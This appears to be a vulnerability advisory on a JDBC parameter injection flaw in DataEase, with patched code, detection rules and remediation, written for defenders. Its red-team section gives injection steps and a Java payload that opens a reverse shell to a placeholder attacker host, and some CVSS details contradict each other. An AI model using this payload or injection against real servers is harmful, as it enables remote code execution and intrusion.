CVE-2025-53006

Executive Summary

CVE-2025-53006 is a critical security advisory affecting DataEase, an open-source business intelligence and data visualization tool. The vulnerability resides in the JDBC connection handling for PostgreSQL and Redshift databases. Attackers can exploit unsanitized JDBC parameters—specifically sslfactory, sslfactoryarg, sslhostnameverifier, sslpasswordcallback, and authenticationPluginClassName—to execute arbitrary code or perform malicious actions on the database server. This is a classic case of insecure deserialization or command injection via JDBC connection properties. The vulnerability is patched in version 2.10.11.

Supply Chain & Package Security

DataEase is distributed as a Java application. The vulnerability is introduced through the JDBC driver dependencies for PostgreSQL and Redshift. Users must ensure they are using a patched version of DataEase (>= 2.10.11) and verify the integrity of their JDBC driver JAR files. No malicious packages have been reported in the supply chain, but the attack surface includes any user who can configure a database connection.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0, indicating that no official vector has been assigned. However, based on the nature of the vulnerability (remote code execution via JDBC parameters), the likely score would be high (8.0-9.0). The attack vector is network-based, requires low complexity, and no privileges, but does require user interaction (an admin configuring a connection). The impact on confidentiality, integrity, and availability is high.

Deep Dive & Mechanics

The vulnerability is a classic JDBC connection parameter injection. In PostgreSQL and Redshift JDBC drivers, parameters like sslfactory and sslfactoryarg allow specifying custom SSL socket factories. An attacker who can control the JDBC URL or connection properties can set these to arbitrary class names, leading to remote code execution when the driver attempts to instantiate the factory. Similarly, sslhostnameverifier, sslpasswordcallback, and authenticationPluginClassName can be abused to load malicious classes.

The attack flow:

1. An attacker gains access to the DataEase configuration interface (e.g., via XSS, CSRF, or direct admin access).
2. The attacker modifies a database connection to include malicious JDBC parameters.
3. When DataEase attempts to connect to the database, the JDBC driver loads the attacker-specified class, executing arbitrary code.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.10.11):

// DataEase JDBC connection builder
String url = "jdbc:postgresql://host:5432/db?sslfactory=com.evil.Exploit&sslfactoryarg=arg";
Connection conn = DriverManager.getConnection(url, user, pass);

Patched Code (2.10.11):

// DataEase now filters dangerous parameters
Set<String> dangerousParams = Set.of("sslfactory", "sslfactoryarg", "sslhostnameverifier", "sslpasswordcallback", "authenticationPluginClassName");
for (String param : dangerousParams) {
    if (url.contains(param + "=")) {
        throw new SecurityException("Dangerous JDBC parameter detected: " + param);
    }
}
Connection conn = DriverManager.getConnection(url, user, pass);

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable DataEase instance (version < 2.10.11) on a local VM.
2. Set up a PostgreSQL database with a malicious JDBC driver class.
3. Craft a payload class that executes a reverse shell.

Exploit Steps:

1. Access the DataEase admin panel.
2. Navigate to "Data Sources" and create a new PostgreSQL connection.
3. In the JDBC URL field, inject: jdbc:postgresql://attacker-db:5432/test?sslfactory=com.evil.Exploit&sslfactoryarg=reverse_shell
4. Save and test the connection. The malicious class is loaded, and a reverse shell is established.

Example Payload (Java):

package com.evil;
import java.io.*;
public class Exploit {
    public Exploit(String arg) {
        try {
            Runtime.getRuntime().exec("bash -c 'exec bash -i &>/dev/tcp/attacker-ip/4444 <&1'");
        } catch (Exception e) {}
    }
}

Blue Team

Detection:

• Monitor for JDBC URLs containing sslfactory, sslfactoryarg, sslhostnameverifier, sslpasswordcallback, or authenticationPluginClassName.
• Alert on any new database connections with these parameters.
• Use network monitoring to detect outbound connections to unknown hosts on port 4444 (or other common reverse shell ports).

Hunting:

• Search logs for sslfactory or authenticationPluginClassName in connection strings.
• Check for unexpected Java class loading events.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled IPs on ports 4444, 1337, or 8080.
• File: Presence of malicious JAR files in the DataEase classpath.
• Log: JDBC connection strings containing sslfactory, sslfactoryarg, sslhostnameverifier, sslpasswordcallback, or authenticationPluginClassName.
• Process: Unusual Java processes spawning shells or network connections.

Detection Engineering

YARA Rule

rule CVE_2025_53006_JDBC_Injection {
    meta:
        description = "Detects JDBC connection strings with dangerous parameters"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-53006"
    strings:
        $dangerous1 = "sslfactory" nocase
        $dangerous2 = "sslfactoryarg" nocase
        $dangerous3 = "sslhostnameverifier" nocase
        $dangerous4 = "sslpasswordcallback" nocase
        $dangerous5 = "authenticationPluginClassName" nocase
    condition:
        any of ($dangerous*)
}

Sigma Rule

title: CVE-2025-53006 JDBC Parameter Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects JDBC connection strings with dangerous parameters in logs
author: Valters IT
date: 2025-04-01
logsource:
    category: application
    product: DataEase
detection:
    selection:
        - EventID: 1001
          Message|contains:
              - 'sslfactory'
              - 'sslfactoryarg'
              - 'sslhostnameverifier'
              - 'sslpasswordcallback'
              - 'authenticationPluginClassName'
    condition: selection
falsepositives:
    - Legitimate use of custom SSL factories (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-53006 JDBC Injection - Outbound Connection"; flow:to_server; content:"sslfactory"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade DataEase to version 2.10.11 or later.
2. Workaround: If upgrade is not possible, restrict access to the DataEase admin panel and audit all database connection configurations.
3. Network: Use a web application firewall (WAF) to block JDBC URLs containing dangerous parameters.
4. Monitoring: Implement the YARA, Sigma, and Suricata rules above to detect exploitation attempts.
5. Least Privilege: Ensure DataEase runs with minimal permissions and cannot load arbitrary classes.

Valters IT